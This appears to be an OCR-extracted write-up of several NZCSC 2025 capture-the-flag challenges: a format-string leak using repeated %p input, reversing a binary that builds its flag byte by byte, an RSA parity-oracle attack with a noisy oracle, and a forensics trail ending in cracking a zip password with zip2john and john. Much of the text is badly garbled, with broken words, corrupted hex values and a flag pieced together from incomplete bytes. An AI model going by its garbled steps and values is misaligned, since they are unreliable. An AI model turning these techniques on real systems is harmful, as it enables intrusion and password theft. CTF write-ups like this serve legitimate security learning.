endace

Record. Respond.
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Exploitation

The format string vulnerability in printf(user_buf) lets us read arbitrary stack memory. By
supplying aormatstringlike %p, printf interprets it asprint apointer" andfetchesan8-byte
value from the stack, displaying it in hexadecimal (e.g., Ox7fffffff1234). A long string of %p
specifierde.g., %p%p%op... repeated 150+ timeginpsmany stack valuegicreasinghe

chance of leaking api_buf. The provided output contains the flag split across multiple stack
positions,encoded in littleendianformat due to the x86_64 architecture.

[macbookair@MacBookAir PWN CHALLENGE % ./pwn
Welcome back to the trading app!

What would you like to do?

1) Buy some stocks!

2) View my portfolio

1

Using patented AI algorithms to buy stocks

Stocks chosen

What is your API token?
%p%PLBP%PLPHPHPIPHPIPHPIPHPIHPIPHPIPHPIHPHPIHPIPHPIPHPIPHPIPHPIHPIPHPIPHPIHPIHPHPIPHPIPHPIPHPIHPIPHPIPHPIPHP
%P%PRPHPHPHPHPIPHPIPHPIHPIPHPIPHPIPHPIHPIPHPIPHPIPHPIHPIPHPIPHPIPHPIHPIPHPIPHPIPHPIHPIPHPIPHPIPHPIHPIPHP
Buying stocks with token:
0x1397040800x00x00x1397040800x600003d280800x10x1f61c67800x600003T280200x00x4Cc45345b47414c460x3841333
8363036320xa5d4537434d360x00x16T301T4400x00x1T61c52c00x16F30f1c0Ox187F4eelcOx1f3bafe580x10x16f30f1f00
x187f9f19cOx16T30Ff1fOOx16T3072000x1f5f400180xbbd24a5c578e005d0x16T3012400x100af09840x16T3012240x16T3
0f4400x16T3012240x00x10009d5d60x6000037280200x16F30F8b8Ox10x16T30F8900x187d0eb980x00x00OXx0OXx187d08000
0x16T3078a80x9e3838a91a4010010xcf6c0708969e7da70x100af08b40x1283a0x100e9c1400x1F57401500x420000000x1
87d0ee380x117229c080x16f3012d80x100dT0000Ox10x1f7256e300x1f57400180x00x00x00x00x100x60x1F5F400b00OX16
f3012700x16T3074200x16T3072d80x16T3072200x16T3072880x16T3072680x40000x100e9c0000Xx240000x100eCcOBOOOX6
000P0OXx00x0Ox0Ox0Ox0OXxPOXxPOxPOXxPOXxPOXxPOXx0OXx0OXx0OXx0Ox0OXx0Ox0BxPOxPOxPOx1F5T44b200x1283a0x187c3c000
Portfolio as of Sun Jun 15 21:32:42 IST 2025

Decoding the FIl ag
The output contains the flag in three key positions:

Offset 9: 0x4c45345b47414c46:

Bytes: 4c 45 34 5b 47 41 4c 46

Reverse (littleendian): 46 4c 41 47 5b 34 45 4c
ASCII: FLAG[4EL

Offset 10: 0x3841333836303632:
Bytes: 38 41 33 38 36 30 36 32
Reverse: 32 36 30 36 33 38 41 38
ASCII: 260683A8

Offset 11: 0xa5d4537434d36:

Bytes (partial): a5 d4 53 74 34 d3 06

Reverse: 06 d3 34 74 53 d4 a5

ASCII: Partial (incomplete but suggests 6MC7E)).

Combining these gives: FLAG[4EL260683A86MCT7E].

‘BEM@] THE UNIVERSITY OF
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EVEE® c-1 c-2 c-3 c-4 c-5 c-6 c-7 c-8
—_ 5 EC
SR c-9 c-1@ ¢c-11 ©6-12  ©-13  C-14  ©-15  C-16
Challenge 10@:SecureVault
You've intercepted a suspicious executable from a cyber criminal organization. Intelligence suggests it
contains a secret treasure code. Your mission is to reverse engineer the binary and extract the hidden
flag
Connect over TCP using netcat or a similar program to solve: nc ctf.nzcsc.org.nz 35627

St eRunni Bgntaheg
First, let'sseewhatthe programdoes:

macbookair@MacBookAir RE % .

Welcome to the SecureVault Challenge!

Can you find the hidden treasure?

Hint: q vd~ frro urra gbwo{ b{ ugbr lbaoA

Encoded message: SYNT[abgUreRSynt]
Try to decode this message...

Enter the secret code: [

Ke@bservBhcoywpthaddi stracti on.

>

.3 THE UNIVERSITY OF
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St @@BasHichral ysi s

macbookair@MacBookAir RE % strings rev
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
NOPQRSTUVWXYZABCDEFGHIJKLMnopqgrstuvwxyzabcdefghijklm@123456789+/
FLAG{fake_flag_here}

This is not the real flag: %s
FLAG(wrong_brackets)

Also not the flag: %s

Welcome to the SecureVault Challenge!
Can you find the hidden treasure?

Nice try, but debugging is not allowed!
Hint: %s

SYNT[abgUreRSynt]

Encoded message: %s

Try to decode this message...

Enter the secret code:

Congratulations! You found the treasure!
The flag is: %s

Lbh gvg terng! Guvf jnf n punyy

Bonus message: %s

Wrong code! Keep trying...
macbookair@MacBookAir RE % ]

Key Observation: Thestrings commandhowsfake flagswith different bracket types, but
not the real flag. This suggedtse real flag is constructed dynamically.

ReveErsgi newirtGimigdr a

St 8p S&PGhindgr a

l.Laurmchh d ndAr eaantegur o ect

2.0 mpohoti n&i Yy EmpPBirYeel3ectOpm@comde Bramwd amd o
anal ysi s

3 .Waif toarn a ltyosoinsp ( @ t ere mglr aers)s

Stdp Analhjegmaoatgi ons
1.Navifgéahbmeaif uncith hSsg mbro le e
2. Examtiheecompodaetbe gplainkeely i ndi ngs:
T Anidie b u gcghi enegkt h eccekbugger ()
T XORl ecr yoplahii me s sage
T Mul tmipd leefawdn cntgi on s
T Mul tfi ok keags
f Acatlbduisltd frugcft Tinsmportant!!
T I npcwtmp awii sloee soud wisltd i ng ()

3"”""3 THE UNIVERSITY OF

B iAs  cQOW
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St 8pher i Di cxlober yd_Bumdtnigdn
1 .Navigatiel d Rsitgchitiogikhfeu n cctaidolale |"eGiootbui | d _string"”
2. Examtiiweecompoded

void *build_string(void)

{
build_string.result = 0x46;
DAT_100008101 = Ox4c;
DAT_100008102 = 0x41;

DAT_100008103 = 0x47;
DAT_100008104 = 0x5b;
DAT_100008105 = 0x32;

DAT_100008106 = 0x33;

DAT_100008107 = 0x43;
DAT_100008108 = 0x32;
DAT_100008109 = 0x36;

DAT_10000810a = 0x42;

DAT_10000810b = 0x36;
DAT_10000810c = 0x5a;
DAT_10000810d = 0x33;

DAT_10000810e = 0x41;

DAT_10000810f = 0x39;
DAT_100008110 = 0x39;
DAT_100008111 = 0x4d;

DAT_100008112 = 0x43;

DAT_100008113 = 0x35;
DAT_100008114 = 0x45;
DAT_100008115 = 0x5d;
DAT_100008116 = 0;
return;

}

Analysis: This functionis building astring characteby characteusinghexvalues!

THE UNIVERSITY OF

@ WalkaT0  CQROU ~~

©
endace
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o

n

ThehexvaluesrepresenASCII charactersl_et'sconvertthem:

©

endace

Record. Respond.

Securityl

Address Hex Value Decimal ASCII Position
result 0x46 70 F 1
+1 Ox4c 76 L 2
+2 0x41 65 A 3
+3 0x47 71 G 4
+4 0x5b 91 [ 5
+5 0x32 50 2 6
+6 0x33 51 3 7
+7 0x43 67 C 8
+8 0x32 50 2 9
+9 0x36 54 6 10
+10 0x42 66 B 1
+11 0x36 54 6 12
+12 Ox5a 20 z 13
+13 0x33 51 3 14
+14 0x41 65 A 15
+15 0x39 57 9 16
+16 0x39 57 9 17
+17 Ox4d 77 M 18
+18 0x43 67 C 19
+19 0x35 53 5 20
+20 0x45 69 E 21
+21 0x5d 93 1 22
+22 0x00 0 \0 End
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Step 7: Constructing the FIl ag
Reading the ASCII charactersinorder: F+L+A+G+[+2+3+C+2+6+B+6+Z+3
+A+9+9+M+C+5+E+]

Result FLAG[23C26B6Z3A99MC5E]

Step 8: Verify the FIl ag

[macbookair@MacBookAir RE % ./rev
Welcome to the SecureVault Challenge!
Can you find the hidden treasure?

Hint: q'vd~ frro urra gbwo{ b{ ugbr lbaoA

Encoded message: SYNT[abgUreRSynt]
Try to decode this message...

Enter the secret code: FLAG[23C26B6Z3A99MC5E]

Congratulations! You found the treasure!
The flag is: FLAG[23C26B6Z3A99MC5E]
Bonus message: YoudidgreatThiswasachall
machookair@MacBookAir RE % [

=

i *

==

i THE UNIVERSITY OF

walkato — CQROU)

endace

Record. Respond.

e

-




Challenge 11: Oracle of 0Odds and Evens

Challenge 11:0racle of 0dds and Evens

A digital oracle guards a coveted prize, its knowledge locked behind RSA encryption. It offers only the
faintest clues about a hidden message — the evenness or oddness of decrypted data. However, this oracle is
known for its playful deceit, as its pronouncements are not always truthful. Success demands more than
just uncovering the secret; you must meticulously document each step of your binary pursuit, proving
you've truly mastered its game of whispers and shadows.

Connect over TCP using netcat or a similar program to solve: nc ctf.nzcsc.org.nz 40025

This challenge is a twist on the classic RSA
two primary complications ar e:

1.The Noi ssy Threa colreacl e has a 10% chance of
(even/ odd) of a decrypted message.

2. The Submissi olmhe rgpaalcoils not to submit t|
you must submit the exact sequence of upp
search, proving you followed the correct

This secti oryptrwalikdtehsrt cavegsht bopfught process and acti
soltvcehal | enge.
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Stép I nitial Connection and Reconnai

ssSsance

First, connect to the server to understand t

ctf.nzcsc.org.nz: 40025

The server responds with a welcome banner

ciphertext

-+ Downloads nc localhost 1338
Welcome to the Oracle of 0dds and Evens The Deceptive Edition! (512-bit Variant)
The game has changed. The oracle is... temperamental. And we demand precision.

Public Modulus N: 974143627786009452107635992181470907433565314264962040563064984402856248020383606140893747295459280431629375725071522
4579613541256395082448468924757578339
Public Exponent E: 65537
i ext C (integer): 286466282974681419863385346756283325922167072625406160733418287876753254017080230896583252543610028034498035900
44424616008792320645047900978526561524

Oracle Interaction:
- Send an integer (a ciphertext you want to test) on a new line.
- T oracle will decrypt it and return its parity:
if the decrypted plaintext is EVEN
‘1" if the ¢ ypted plaintext is 0DD.
- WARNING: The oracle has a chance of returning the INCORRECT parity
You may need to query strategically for important decisions.

Submission Protocol:
- You do NOT submit the final decrypted me ge value.
- Instead, you must submit the sequence of an *upper bound* for the plaintext
at each of the 512 iterations of your binary search decryption.
After the initial welcome, the server will prompt you for each bound sequentially.
- If your entire trace of 512 upper bounds matches our expected path, you win the flag.
(A generous query limit is in place, but repeated, identical queries for the e bound decision are expected.)

Oracle interaction phase. Send 'NEXT_BOUND' when ready to mit the next upper bound.

From this banner, we extract the <c¢cri

N P( WMo dThe sl arge i nteger wused
E P( Yxpdypncally, 65537.
C C( )r:t eTxthe encrypted message we

= =4 =

GoWé must provide a trace of the
iterations

L The oracle |ies 10% of t he ti

t

cal

need

co

i n

he

t o

upper _b

The presence of a "parity oracle"™ (telling u
i 1

i mmedi at el WSpoiLBBs Ot ecanm
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St@p The Unde-sRISYAi L@ BT g arcy e At t ack
This attack exploits the homomorphic propert
the LSB oracle. Here's the core | ogic:
1. We know the original ciphertext C = M"E
message we want to find. M i s somewhere i
2.We can create a new, modi fied €i phertext
with the encryption of 2:
cr = C * (2"E mod N) mod N
c' = (MrE * 27~E) mod N
c' = (2*M)"E mod N
3.We send Ctdho st meewor acle. The oracle decryp:
and tell us its parity (even or odd)
4 . This parity tells us about the magnitude
: Tchiiss ne\alnis 2*M mod N i s e
only happen if 2*M did not fAwrap, around?o
which implies M < N/ 2. The original mes s a
possible range
> Thys means 2PM mod N i s od
happen i f 2*M did wrap around the modul us
i mplies M > N/ 2. The original message M i
range.
By repeating this process, we can halve th
effectively performing a binary search to -

e

a
% el

¥

rd

b\
[Go 6

>
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St 8p Deal i ng wihteh Nbe cseyp tOQroanc | e
The server's hint and description state that
qguery could be a |Iie, which would send our b
direction, making the entire trace invalid.
.n Ass hsitnatteids thiyc a"'lstrength i n numbe.]
single ansviwe . w&ot ®achrust, we must query t
take majority vote.
Il f we query 11 times and get eight "0's a
the true parity is 0 (even).
Using an odd number of queries (NUMBER_RC
solver) is a good practice to avoid ties.
Stdp The Automated Sol ver
The Sol ver :Rsa @lvalill abd eeHantdSol uti on. py
Code breakdowns:
l.ask_oracl:e_Trhoibsusitss yt he core of our defenc
takes a ciphertext, sends it to the oracl
collects all the "0 and ' 1° responses, a
2.lnitiaTh&esapi pt connects, receives the b
expressions to parse out N, E, C, and the
3. The Mai Mhlkeosgri pt iterates N.bit | ength()
a.lt establishes the current search rang
b.l't calcul ates the test ciphertext for
* 2~"E) mod N
c.lt askleraclwi rlhbusesd yct to get a reld.
d.Based on the parity, it updates the bo
(low + high) [/ 2; if parity is 1 (odd)
e.lt sends the command NEXT_BOUND to the
submit
f.lt waits for the server's phomgpht and t
value (the required upper bound for th
g.l't updates current _c¢ct to test_ct for t
m THE UNIVERSITY OF
D
& Walkalo - CQROUJ
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https://nzcsc-2025.s3.ap-southeast-2.amazonaws.com/RsaChallengeHardSolution.py
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T NZCSC 2025

Run the solver: python3 RsaChallengeHardSol u

The script wildl begin the iterative process.

periodically and for the | ast few crit

-+ Downloads python3 RsaChallengeHardSolution.py
Received N, E, C. Target iterations: 512. Starting decryption process...

-—- Iteration 1/512 -—-

Current range for M_orig: [0, 9741436277860094521076359921814709074335653142649620405630649844028562480203836061408937472954592804316
293757250715224579613541256395082448468924757578339] (Size: 974143627786009452107635992181470907433565314264962040563064984402856248020
3836061408937472954592804316293757250715224579613541256395082448468924757578339)

UPPER BOUND for this iteration to submit: 4870718138930047260538179960907354537167826571324810202815324922014281240101918030704468736
477296402158146878625357612289806770628197541224234462378789169

--- Iteration 50/512 ---

Current range for M_orig: [0, 1730426695775849758454320678747022035241736607007400366887610559990051669424075708542598568043507754821
8270062198192293187328412174244154273] (Size: 17304266957758497584543206787470220352417366070074003668876105599900516694240757085425985
680435077548218270062198192293187328412174244154273)

UPPER BOUND for this iteration to submit: 8652133478879248792271603393735110176208683035037001834438052799950258347120378542712992840
217538774109135031099096146593664206087122077136

--- Iteration 100/512 ---

Current range for M_orig: [0, 1536927648061103609271001494415839903277409034927281409899189554826339038683680823054265978594219670247
3578950607972875619225] (Size: 15369276480611036092710014944158399032774090349272814098991895548263390386836808230542659785942196702473
578950607972875619225)

UPPER BOUND for this iteration to submit: 7684638240305518046355007472079199516387045174636407049495947774131695193418404115271329892
971098351236789475303986437809612

--- Iteration 150/512 ---

Current range for M_orig: [0, 1365065969648341245764379343100216515762753952613978300955456961342039646719542409995421275853839367051
4191802] (Size: 13650659696483412457643793431002165157627539526139783009554569613420396467195424099954212758538393670514191802)

UPPER BOUND for this iteration to submit: 6825329848241706228821896715501082578813769763069891504777284806710198233597712049977106379
269196835257095901

After submitting all the bounds correct

mat chesailttculmrteed one. | f they match,

-—— Iteration 511/512 ---
Current range for M_orig: [1813965029537664219118240390542355, 1813965029537664219118240390542358] (Size: 3)
UPPER BOUND for this iteration to submit: 1813965029537664219118240390542358

--— Iteration 512/512 ---
Current range for M_orig: [1813965029537664219118240390542356, 1813965029537664219118240390542358] (Size: 2)
UPPER BOUND for this iteration to submit: 1813965029537664219118240390542357

A1l bounds submitted. Waiting for final server verdict...

--- Final Server Verdict ---
TRACE_PERFECT! Your understanding of the oracle is flawless.
Flag: FLAG[FE927CB38D65A47E]

Final derived plaintext integer (from 'high'): 1813965029537664219118240390542357
As string (fﬁ: verification): You Hacked It

final decrypted message,
reconstruct ehd gffarloume Afleoeri fsieaat i on, but i
flag.
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Concl usi on

Thi s
cl ev

takeaways

1. | ddeinthiefrypibng ithe LSB Oracl e
problem description.
2. Deiviel @mpang a strategy (majorit.)
noi se and wuncertainty introduced by the
3. Caretubly reading and adhering
protocol, which requires submitting the
rather than the final answer .
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enge 12: Operation Ghost Beacon

cc o
i
C_ww
Camm
I<o0=

©=1] c-2 c-3 c-4 C-5 C-6 c-7 c-8
c-9 c-1@ c-11 c-12 Cc-13 c-14 Cc=-15 Cc-16
Challenge 12:0Operation Ghost Beacon

A defunct satellite has mysteriously resumed broadcasting, sending what appears to be encrypted PowerShell
payloads to unknown destinations. One of these transmissions contains a fragmented signal-disguised as
harmless code. Your mission: deobfuscate the transmission, reconstruct the payload, and extract the
embedded flag before it disappears into the static

File in Wireshark anal

download. php? ¥ 1MKZ4 2WVr LS vaNdhdC 1miz Iz Uubu/@bG ImeSShcHALMKZ 4G Y 2G9:

225 GET /track?
535 HITP/1.6
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88 0.016889
100 0.626428
112 0.623666
2

289 6.668849
301 0.676932
313 0.972910
187 0.842730

® B Request: Boolean

5:08 y
t: 127.0.8.
Dst

NZCSC 2025

Length Info
215 GET
217 GET
217 GET
217 GET
217 GET
217 GET
215 GET
215 GET
215 GET
215 GET
215 GET
215 GET
215 GET
215 GET

225 GET
225 GET
225 GET

/pagel.ntml HITP/1.1
/page18.html HTTP/1.1

/page1i.html HTTP/1.1

/page12.html HTTP/1.1

/page13.html HTTP/1.1

/page1d.html HTTP/1.1

/page2.html HTTP/1.1

/page3.html HTTR/1

/paged.html HTTP/1

/page5.html HTTR/1

/page6.ntml HTTP/1

/page7.html HTTP/1

/page8.html HTTP/1

/pageg.html HTTR/1

/secure_data/down 10ad. php2doc=aHRBCHM LMBE LNKY LNKZLZWVT LWSvawanaCini
/track?uid=r748 HTTP/1.1

/track?uid=8053 HTTP/1.1

/track?uid=0663 HTTP/1.1

95 POST /submit HTTP/1.1 (application/x-www-form-urlencoded)

t he

a
MkY1MkZt
dudhdc

of 38 6.6
63 6 64 -Encodin
65 66 6c 61 deflate -

f 2a 60 o

GET Request with

— assavavea anrovavea P — T,
100 ©.620428 127.0.0.1 127.6.0.1 HTTP 215 GET /page8.html HTTP/1.1
112 0.023666 127.0.0.1 127.6.6.1 HTTP 215 GET /page9.html HTTP/1.1
.6.9.1 9.9.1 354 GET /secure_data/down L0;
289 ©.068849 127.6.9.1 127.0.6.1 HTTP 225 GET /track?uid=7748 HTTP/1.1
301 0.870932 127.0.0.1 127.6.0.1 HTTP 225 GET /track?uid=8653 HTTP/1.1
313 0.072910 127.0.0.1 127.0.6.1 HTTP 225 GET /track?uid=9663 HTTP/1.1
187 0.042730 127.0.0.1 127.6.0.1 HTTP 95 POST /submit HTTP/1.1 (application/x-www-forn-urlencoded)

Decode t

he Baseb64

Download

Operations

Favourites

Data format

Encryption / Encoding

ast build: 18 g0 s herel Read about the ne . Options g About / Supy
Recipe ~ B E  npu L =R
3HROCHMLMOE LMKY 1MKZ T WV L JAhAC 1Mz JMMZUUbIY DG L e SShcHALMKE JGYt 268 JLnppeA==
From Base64 -
* .
Remove non-alphabet chars
URL Decode -
reat “+
O Tr he
Output Aa0m::
https://meek-nougat-f32f35. netlify. app/ctf-dac
~=n D
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st opgn you'ihl yoe

decoding the
file directly.

c@Bleso #e» =
»

Step 4: After
br owser and downHoad the

M & - G v meek-nougat-f32f35.netlify.app/ctf-doc.zip

@ nttps/r €D webtelegram & YuuDrive - Google fln... & INElabs & INELlabs @ 2314-F atf doc(1)zip eaking Medium pay...
Completed — 10.2 KB O

seirarelry i aan tdhreaRILe, the chall en

Not et heahost
at NZCSC25.

di fferent server

Step 5: The zip file is password protected,
open it.

W -docaip (evatuation copy)

File Commands Tools Favorites Options Help
o _ § EE
W @ =t
Add  ExractTo  Test View  Delete  Find Wizard  Info | ViusScan Comment  SFX
S

8 ct-docazip - 21P rchive, unpacked size 12,454 bytes ~

Name ~ Suze  Packed Type Modified  CRC32 [l Enter password X

- File folder
o 5 P Enter password for the encrypted file
E:H.du: 12454 10,293 Microsoft Word... 27-05-2025 .. E672D9.. = X - doc
in archive ctf-doc.zip

Enter password

[ -
[] Show password

Use for all archives
| Organize passwords...
[ ]| coma | Help

Total 1 file, 12,454 bytes

=2 Selected 1 file, 12,454 bytes
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127.6.8.1 P GET /paged.htal HTTP/1.1
127.0.0.1 HITP/1.0 40 (text/htal)

NZCSC 2025

: Now recheck the same HTTP request in
requested by the wuser.

GET /pagel.hi
HTTP/1.0 484 Fils not found (taxt/htnl)
215 GET fpaged.htal WITR/1.1
S35 HTTP/1.0 404 File not found (text/html)
215 GET fpage3.htal HITP/1.1
535 File not found (text/htnl)

HTTR/1.6 484 File not found (text/htal)
WTTP 215 GET fpageS.htnl HTTP/1.1

WITP 535 HTTP/1.8 484 File not found (text/html)
5 GET fpages.htnl HTTP/1.1

S HTTP/1.0 484 File not found (text/html)
GET /page7. htal HTTP/1.1

HTTP/1.6 464 File not found (text/htal)

HTTP/1.8 484 File not found (bext/html)
GET /paged_htnl HTTP/1.1

: Il n that HTTP request, you will find
same URL you got from the Base64 deco

meek-nougat-32{35.netlify.app/page8.html

Maps @ News By Translate € GitHub - streaak,

THE UNIVERSITY OF
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Step 8: You will get a blank page, but when

c ® view-source:https://meek-nougat-f32135.netlify.app/page8s.html

@ site © Maps [@8 News [Bg Translate () GitHub - streaak/ke.. @

idth, initia

Step 9: Now open that 1 mage URL in your brow
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10: Now wuse the Exif tool on the
dden information in Comment you wi/l/
xifTool Version Number : 12.40
ile Name : cl126F. jpeg
Directory 8 ¢
i Size : 156 KiB

Modification Date/Time : 2025:06:06 10:36:11+05:30
Access Date/Time : 2025:06:06 10:40:35+05:30
Inode Change Date/Time : 2025:06:06 10:40:34+05:30
Permissions ! —IWXTWXTWX
Type : JPEG
Type Extension : jpg
Type : image/jpeg
Version : 1.01
Byte Order : Big-endian (Motorola, MM)
Resolution 2 72
Resolution H b
Resolution Unit : inches
Cb Cr Positioning : Centered
xif Version 1 0221
omponents Configuration 1Y, Cb, Cr,
lashpix Version : 0100
olor Space : sRGB
xif Image Width : 1280
xif Image Height : 1280
Fcene Capture Type : Standard
ompression : JPEG (old-style)
humbnail Offset : 304
humbnail Length : 8460
: Next clue: /secure_data/leak.php?log=YVcwNTAwYncudHh®
: 1280
: 1280
ncoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
olor Components 5 8
Cb Cr Sub Sampling : YCbCr4d:2:0 (2 2)
[mage Size : 1280x1280
egapixels
humbnail Image data 8460 bytes, use -b option to extract)

11 decode that base64 string you

* b= 1]
Operations Recipe ~ Bl E  inpu R=R

From Base64 ~ e
Favourites *
. O
°®
1 r T -
Output S Wl
Data format
Encryption / Encoding STEP da ‘ ,‘
n o= o) T =
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Step 12:
encoded
¢ %

@ site

& Maps

cGFzc3dvemQ=
MTIzNDU2
MTIzNDU2Nzg=
MTIzNA==
cXdlcnR5
MTIzNDU=
ZHIhZ2%u
cHVze3k=
YmFzZWIhbGw=
Zm9vdGIhbGw=
bGV@bWVpbg==
bWoua2vs
Njk20TY5
YWIGMTIz
bXVzdGFu
bwljaGF1
c2hh7693
bWFzdGVy
amVubmlmZXI=
MTEXMTEx
MjAwMA==
am9yZGFu
CIVuWZXItYWa=
aGFybGV5
MTIzNDU2Nw==
ZnVja211
aHVudGvy
ZnVja3lvd
dHJ1c3RubzE=
cmFuZ2Vy
¥YnVzdGVy
dGhvbWFz
dG1lnZ2vy
cm9i7XJ0
295 Y2vy
ZnVjaw==
YmF@bWFu
dGVzdA:
cGFzow:
a21sbGVy
aG9ja2vs
Z2Vvemdl
¥2hhemxpZi
YwSkcmv3
bWljaGVsbGU=

Step 13

stri

B2 News

NZCSC 2025

Now add
ngs

t hat

meek-nougat-f32f35.netlify.app/aW0500bw. txt

By Translate

() GitHub - streaak/ke.. @

decode that

path to the

base 64

@ €

K hitpyisr €D web.telegram & YuuDrive - Google Au...

U B onlinebase64tools.com,

A INElabs & INE Labs (3 2314 - Recon: MSSQL:..

input data (in base64 encoding)

aWN1Y3vizQ==
aGVsbG5v
aG91bmRz
aGuZX1kZXc=
aG9vdGVyczE=
aG9lcw==
aG93aWu=
aGvzbmee
aHvnb2h1z28=
ZWlnaHR5
ZXBzb24=
ZXZhbmd1bGk=

Import from
file clipboard

Copy
Save as... 2

THE UNIVERSITY OF
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@ jsextractor  ( crawler ) (17) Discerd | @koyph..

@ 5 0

@ Breaking Medium pay.

decoded data

password
123456
12345678

Copy to

Chain with... clipboard

Save as...

. Securityl

URL

encoded

and

stri

Vv

ng
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Using default input encoding: UTF-8

Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1

save

t

his
./zip2john .

512/512 AVX-512 16x])

Cost 1 (HMAC size [KiB]) is 11 for all loaded hashes
Will run 16 OpenMP threads

Press 'q' or Ctrl-C to abort,

v!PhY.qG2/

Step

the doc

‘E ctf.docx

15:

Now
file
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extract

code and

(27/2025 11:46 PM

'h' for help, almost any other key for status
(ctf-doc.zip/ctf.doc)
1g 0:00:00:00 DONE (2025-06-03 14:41) 20.00g/s 200020p/s 200020c/s 200020C/s password..eyphed
Use the "--show" option to display all of the cracked passwords reliably

Sec<inn r~namnlatad

Zi
Wi

t hat
y ou

CROU)

s Securityl it

p
I

Microsoft Word D...

| i-6 hkReiopfpedrec oded

./../[ctf-doc.zip > zip_hash.txt
./john —-wordlist=../../pass.txt zip_hash.txt

passw
get f
file

































